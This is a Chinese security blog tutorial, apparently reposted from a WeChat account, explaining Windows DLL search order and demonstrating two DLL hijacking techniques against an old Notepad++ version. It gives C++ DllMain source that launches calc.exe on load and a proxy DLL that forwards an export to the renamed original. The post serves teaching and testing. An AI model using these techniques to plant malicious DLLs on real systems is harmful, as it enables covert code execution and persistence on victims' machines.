干货 | DLL劫持

  • A+
所属分类:逆向工程

什么是dll


DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运⾏必不可少的功 能模块,是实现代码重⽤的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。DLL劫持漏洞(DLL Hijacking Exploit),严格点说,它是通过⼀些⼿段来劫持或者替换正常的DLL,欺 骗正常程序加载预先准备好的恶意DLL的⼀类漏洞的统称。利⽤DLL劫持漏洞,病毒⽊⻢可以随着⽂档的 打开(或者其他⼀些程序正常⾏为)⽽激活⾃身,进⽽获得系统的控制权。


原理


DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。

  1. 程序所在⽬录。

  2. 加载 DLL 时所在的当前⽬录。

  3. 系统⽬录即 SYSTEM32 ⽬录。

  4. 16位系统⽬录即 SYSTEM ⽬录。

  5. Windows⽬录。

  6. PATH环境变量中列出的⽬录

dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正 常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。


通过VS2019生成一个dll


干货 | DLL劫持

 

 

 干货 | DLL劫持

 

干货 | DLL劫持


两种不同的劫持方式


使用工具:ProcessMonitor  

下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/procmon


一.劫持源程序没有的dll


使用ProcessMonitor 找到一个没有加载的dll,这里使用notepad++测试

干货 | DLL劫持

 添加过滤条件进程名为notepad++

干货 | DLL劫持

 添加过滤条件路径为E:notepad++

 干货 | DLL劫持

 添加结果为NAME NOT FOUND

干货 | DLL劫持

然后点击ok

打开notepad++

可以看到有很多dll

干货 | DLL劫持

先双击uxtheme.dll(这里找一下,找一个有loadlibrary相关的API的dll,你的notepad++可能没有这个dll,因为notepad++版本有可能你的跟我的不一样),然后左键stack

干货 | DLL劫持

 找到loadlibrary相关的API

干货 | DLL劫持

 在vs中编写恶意dll源⽂件后编译,把编译好的恶意dll⽂件名修改为需要劫持的dll⽂件名 后放⼊到notepad++.exe下的同级⽬录下(放在其他地方也可以,只要在dll寻找目录中):


// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:WinExec("calc.exe", SW_HIDE);case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}


 当进程创建时就打开计算器

干货 | DLL劫持

 

 

 我们双击启动notepad++一下试试

干货 | DLL劫持

 

 成功弹出计算器,执行了我们的恶意代码


二.劫持已经存在的dll


工具:CFF explorer  

下载地址:http://www.ntcore.com/files/ExplorerSuite.exe

1.设置过滤条件如图,过程跟刚刚差不多

干货 | DLL劫持

 

 2.打开notepad.exe,查看监听器中有dll⽂件的事件详情:

干货 | DLL劫持

 

 3. 可以看到这个dll⽂件是notepad++使⽤系统API LoadLibrary 调⽤的,所以可以利⽤该点对程序进⾏ dll劫持

找到这个dll,就在notepad++相同目录下

干货 | DLL劫持

 

 4.把这个dll拖入CFF explorer 中

找到这个导出表

干货 | DLL劫持

 

 他有一个导出函数

干货 | DLL劫持

 

5.在vs2019中编写恶意dll⽂件后编译,将恶意dll⽂件名修改为所要劫持的dll⽂件名,将原dll⽂件名修改为恶意dll⽂件中所设置的⽂件名

#include "pch.h"extern "C" __declspec(dllexport) void Scintilla_DirectFunction();BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:WinExec("calc.exe", SW_HIDE);case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}void Scintilla_DirectFunction(){MessageBox(NULL, L"hello", L"SD", NULL);HINSTANCE hDll = LoadLibrary(L"SciLexer_org.dll");if (hDll){typedef DWORD(WINAPI* EXPFUNC)();EXPFUNC expFunc = NULL;expFunc = (EXPFUNC)GetProcAddress(hDll,"Scintilla_DirectFunction");if (expFunc){expFunc();}FreeLibrary(hDll);}return;}


干货 | DLL劫持

 

 这里虽然报错但是还是弹出了计算机

干货 | DLL劫持

 

说明


在notepad++7.3.3以后notepad官方已经修复这个漏洞,再7.3.3版本以后每次运行notepad++会先检查这个dll是否时原来的dll,这里如果要测试需要下载7.3.3以前的版本


本文仅供学习,切勿用于非法破坏!

干货 | DLL劫持


推荐阅读:


干货 | 如何快速完成DLL劫持,实现权限维持,重启上线


科普 | DLL劫持原理与实践


本月报名可以参加抽奖送暗夜精灵6Pro笔记本电脑的优惠活动


干货 | DLL劫持


点赞,转发,在看


原创投稿作者:Buffer

干货 | DLL劫持


本文始发于微信公众号(HACK学习呀):干货 | DLL劫持

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: